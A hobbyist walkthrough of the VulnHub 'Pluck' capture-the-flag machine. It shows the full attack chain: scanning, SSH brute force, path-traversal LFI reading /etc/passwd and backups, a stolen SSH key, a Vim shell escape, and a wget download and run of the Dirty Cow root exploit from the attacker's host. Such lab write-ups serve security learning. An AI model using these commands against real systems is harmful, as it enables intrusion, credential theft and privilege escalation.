VulnHub -- Pluck -- Writeup

Plucking Pluck
============

I had a fun time going through Pluck, there were no tempting write ups available at time of testing so managed to steer clear of the easy ways out ;)

Firing up netdiscover we find the host to target (which actually I saw later was conveniently mentioned in the actual Pluck VM login screen)
netdiscover -i eth0 -P -r 192.168.110.0/24
bash tools/ranger.sh

With the target identified, next stage is to see what a port scan probing open ports for service/version information reveals;

nmap -sV -p - 192.168.110.102 2> /dev/null

OK so ssh, http, mysql and an as yet to be determined service to poke around at.

Going through the http pages, we see a Home, About, Contact and Admin pages.

The Admin page has a login, however it requires an email address and I was not able to find any information on correct email address formats.
Testing with various email formats did not get any helpful error message.

Tried to get some helpful sql errors, and entering  '  as email address did result in ;
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 6" 

I was unable to get any further so decided to leave that route for what it was for the time being.
Not sure whether there is anything to be found with the sql in the login, will have to dig a bit more.


FORCED BROWSING
With the hope of an easy entry fading, I checked if any easily identified files/directories could be found;

dirb http://192.168.110.102

wfuzz -c -w /usr/share/seclists/Discovery/Web-content/big.txt --hc 404 192.168.110.102/FUZZ

Nothing interesting standing out..

I actually also even ran cewl on the 'About' page of the server and ran a forced browse attack using that custom wordlist, but also no dice.

SSH
Port 22 was open, so I decided to run a bruteforce with the most common 10k passwords on ssh with username admin as there appeared to be an admin login on http, you never know, right?

hydra -l admin -P /lists/10k.txt -e nsr -t 4 -Vf 192.168.110.102 ssh 

Predictable outcome though; no dice.

MYSQL 
Trying mysql login in turned out to be a no-go as well..
mysql -h 192.168.110.102- uroot -ptoor

pfff... things were beginning to look a little bleak..

MY SAVIOUR: NIKTO
Running nikto showed an interesting LFI vulnerability, allowing viewing of any file on the target.

nikto -h 192.168.110.102

Checking the LFI vulnerabilty with curl indeed showed the file.. 

Finally.. progress!
curl -s 192.168.110.102/index.php?page=../../../../../../../../../../etc/passwd

Ohh.. usernames, I took the usernames and went to town with yet more bruteforce attacks on ssh.. maybe bob, paul or peter would have better results than that crappy 'ol admin!
Nope..no dice..it was not meant to be..


Looking again at the passwd file some interesting information stands out on the backup-user showing a location of a backup script.

Let's see if we can dig that one out;
curl -s 192.168.110.102/index.php?page=../../../../../../../../../../usr/local/scripts/backup.sh

OK, looks like there may be a backup file to poke at..

Let's see if we can download the backup file, despite the mention of tftp, I just tried with curl and man the download just kept on going.. at 2GB I cancelled the download in the hopes that something could be extracted..

curl 192.168.110.102/index.php?page=../../../../../../../../../../backups/backup.tar > backup.tar

First I did a quick manual check to see if a quick scroll through the first few hundred lines had anything jumping out, and something did..!
cat backup.tar | head -n 500 | less


hmm.. user paul and ssh rsa keys?  Looking more promising now!

Some handy information which google was kind enough to cough up for me;
https://support.rackspace.com/how-to/logging-in-with-an-ssh-private-key-on-linuxmac/

You could sed out the RSA key ( sed '0,/BEGIN RSA PRIVATE KEY/d;/END RSA PRIVATE KEY/,$d' backup.tar ) and add the BEGIN and END strings, or just be lazy and Select, Copy and Paste..

I named the file deployment-key.txt and edited permissions to 600;
chmod 600 deployment-key.txt

Then tried to log in ssh yet again, but now as user paul with an ssh-rsa key;
ssh -i deployment-key.txt paul@192.168.110.102

OK, well this is different.. well I guess the passwd file did mention /usr/bin/pdmenu for user paul..

After messing around a bit with telnet and WWW I tried the edit file part remembering a trick a pal had once shown, gaining access by simply adding a user to the passwd file.

So decided to try and open up the /etc/passwd file

oh fuck.. Vim.. I seriously need to learn to use this.. how many times I have gotten stuck in it and have had to google how to just friggin exit the editor is just downright embarrassing.

So after spending a bit of time on trying to edit the file to get it to open and be able to break out into shell, I noticed that the file was, of course, read-only [facepalm]..

The breaking out of Vim is well-documented and a quick google session later I found the hidden gold I needed;
https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells

In Vim command mode;
:set shell=/bin/bash
:shell

Bingo! shell!

A bit of googling showed I could probably try out an easy way to root and use the dirty cow exploit.

I hosted the Dirty Cow exploit 40616.c on my attacking system and changed to the writeable /tmp directory on Pluck to wget the exploit to the target.
Then following the instructions in the exploit I compiled it with gcc.

wget 192.168.110.101/40616.c
gcc -o cow 40616.c -pthread
It compiled with some warnings, but fingers crossed..

I chmod-ed the file to make it executable, and ran it..
chmod +x cow
./cow

Fuck Yeah..!
rootdance!

I immediately ran the command to make the exploit more stable and avoid freezes on the target system (without this step, the target system froze pretty quick for me);
echo 0 > /proc/sys/vm/dirty_writeback_centisecs



Checked out the /root dir;
ls /root
cat /root/flag.txt

Big thanks to the creator and to VulnHub for hosting these awesome challenges :D

Happy & Content :)

Tools used; 

HOST DICOVERY
- netdiscover
- arp-scan

PORT SCANNING
- nmap

FORCED BROWSING
- dirb
- dirbuster
- wfuzz

VULNERABILITY CHECKS / SCANNING
- nikto
- searchsploit

FILE TRANSFER
- wget
- curl


Speshull thanx to guugl :P